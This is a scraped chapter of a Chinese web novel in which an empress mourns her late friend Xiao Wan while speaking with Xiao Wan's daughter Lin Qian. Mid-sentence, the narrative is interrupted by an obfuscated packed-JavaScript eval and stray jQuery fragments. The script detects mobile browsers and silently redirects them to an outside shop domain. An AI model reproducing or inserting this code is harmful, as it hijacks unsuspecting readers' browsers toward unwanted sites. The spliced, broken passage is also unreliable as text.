文趣网 > 其他小说 > 我的女主黑化了 > 6. 回忆就是一场盛大的告别
    霍乱210年,那年夏天,遭遇特大暴雨,临城发大水,京城在下游,若控制不好水势,京城也无法幸免遇难,一时间人心惶惶。

    下了数日的雨终于停了,阳光铺满大地,洪水渐渐褪去,京城又恢复成往日的繁华。

    林锋抗洪有功,皇帝封其为安北侯。

    皇后召林深的林浅入宫,林浅行礼,皇后抬手。

    “起来说话。”

    林浅:“多谢娘娘。”

    皇后仔细打量林浅,看着林浅消瘦的脸,和她记忆里的人有七分相像,头发高高束起,眼神坚毅明亮,眉骨立体流畅,鼻梁线条干净利落,鼻头微勾又带点英挺感,薄薄的嘴唇带着淡淡的粉色。

    初见面时,萧婉一袭红衣骑马向她而来,那样明媚的笑,她再也见不到了。

    皇后湿了眼眶,她抬起袖子轻擦眼角。

    林浅开口问道:“娘娘?”

    皇后从悲伤中走出来,刚哭过嗓子里有些黏腻,她清了清嗓子。

    “像,你和你母亲长得太像了。看到你,我难免会想到她,一时间竟有些控制不住情绪。”

    林浅再次行礼,皇后惊诧:“这是作何?”

    “林深替母亲谢娘娘记挂。但请娘娘不要再想了,多思伤脾,母亲定是希望您可以平安顺遂,万事无忧。她已去,若造成活人的伤痛,那是罪过。”

    “你和你娘一样,总会为人着想。”

    林浅忍不住的问:“我娘她是一个什么样的人?”

    皇后朝远方看去,身穿银色铠甲的萧婉策马而来,一颦一笑活泼又灵动。

    她们一起骑马纵横山水间,萧婉说:“阿月,快一点,让我们把风落在后面。”

    她们在桂花树下一起饮酒,萧婉说:“告诉我你有什么心愿,我帮你实现。我没喝多……答应你的事我一定会做到。”

    她练武时,她作画,萧婉说:“阿月,北国人物画师你排第二,就没有人能排第一了。”

    萧婉离京前,两人在城门口道别,萧婉说:“别担心,阿月,我会好好的。”

    萧婉给她寄桂花,萧婉说:“南方有一花,九月开,闻之可安神静心,我将花储存做成香囊送于你,望你能睡个好觉。”

    萧婉给她寄玉牌,萧婉说:“偶得一块上乘好玉,给你打一块平安无事牌,望你年年岁岁平安无事。”

    萧婉回京,两人跑向彼此紧紧相拥。

    她生产时,萧婉守在床前,别人都在庆贺大皇子的出生,唯有萧婉看着她心疼的落泪。

    那块玉牌她日夜戴在身上,那个香包已经没了味道,再也没有人折桂花给她,再也没有人处处都把她放在第

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980106|214808||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一位,再也没有人能听懂她的言不由衷。

    梦里萧婉还会来见她,梦醒后只会湿了枕巾。

    所有的美好都在记忆的长廊里落了灰,活着的人独自碎碎念念。

    ……

    只是薄薄的一层土,人与人便再难相见了。

    风带走了欢乐与泪水,过往变成她的想念和回忆,未说出口的心酸与苦楚也再无人诉说了,日后她只能在药渣里找糖吃,又苦又甜。

    萧婉是她生命中唯一一份解毒药。

    皇后的眼眶含着热泪但嘴角依旧上扬。

    “至近至远东西,至深至浅清溪,这是你们名字的由来,回忆是一场巨大的告别,我们还没有好好的说一声再见。”

    说到此,皇后眼里的泪再也憋不住了,她转过身蹲在地上捂脸哭。

    一句话里隐藏着深沉的爱意,是母亲留给孩子的爱,是死者留给生者的爱,是挚友再也无法明说的爱。

    接受失去,接受遗憾,然后把自己从回忆里捞出来,好好生活,人不能总是呆在自己的命运里痛哭。

    林浅的鼻头酸了,她的手指甲嵌进肉里,皇后可以放肆地哭,但她不能,她的伤痛只能咽回肚子里,独自消化。

    但林浅为母亲高兴,即便她离开多年,仍有人记得她,会在提起她的时候又哭又笑。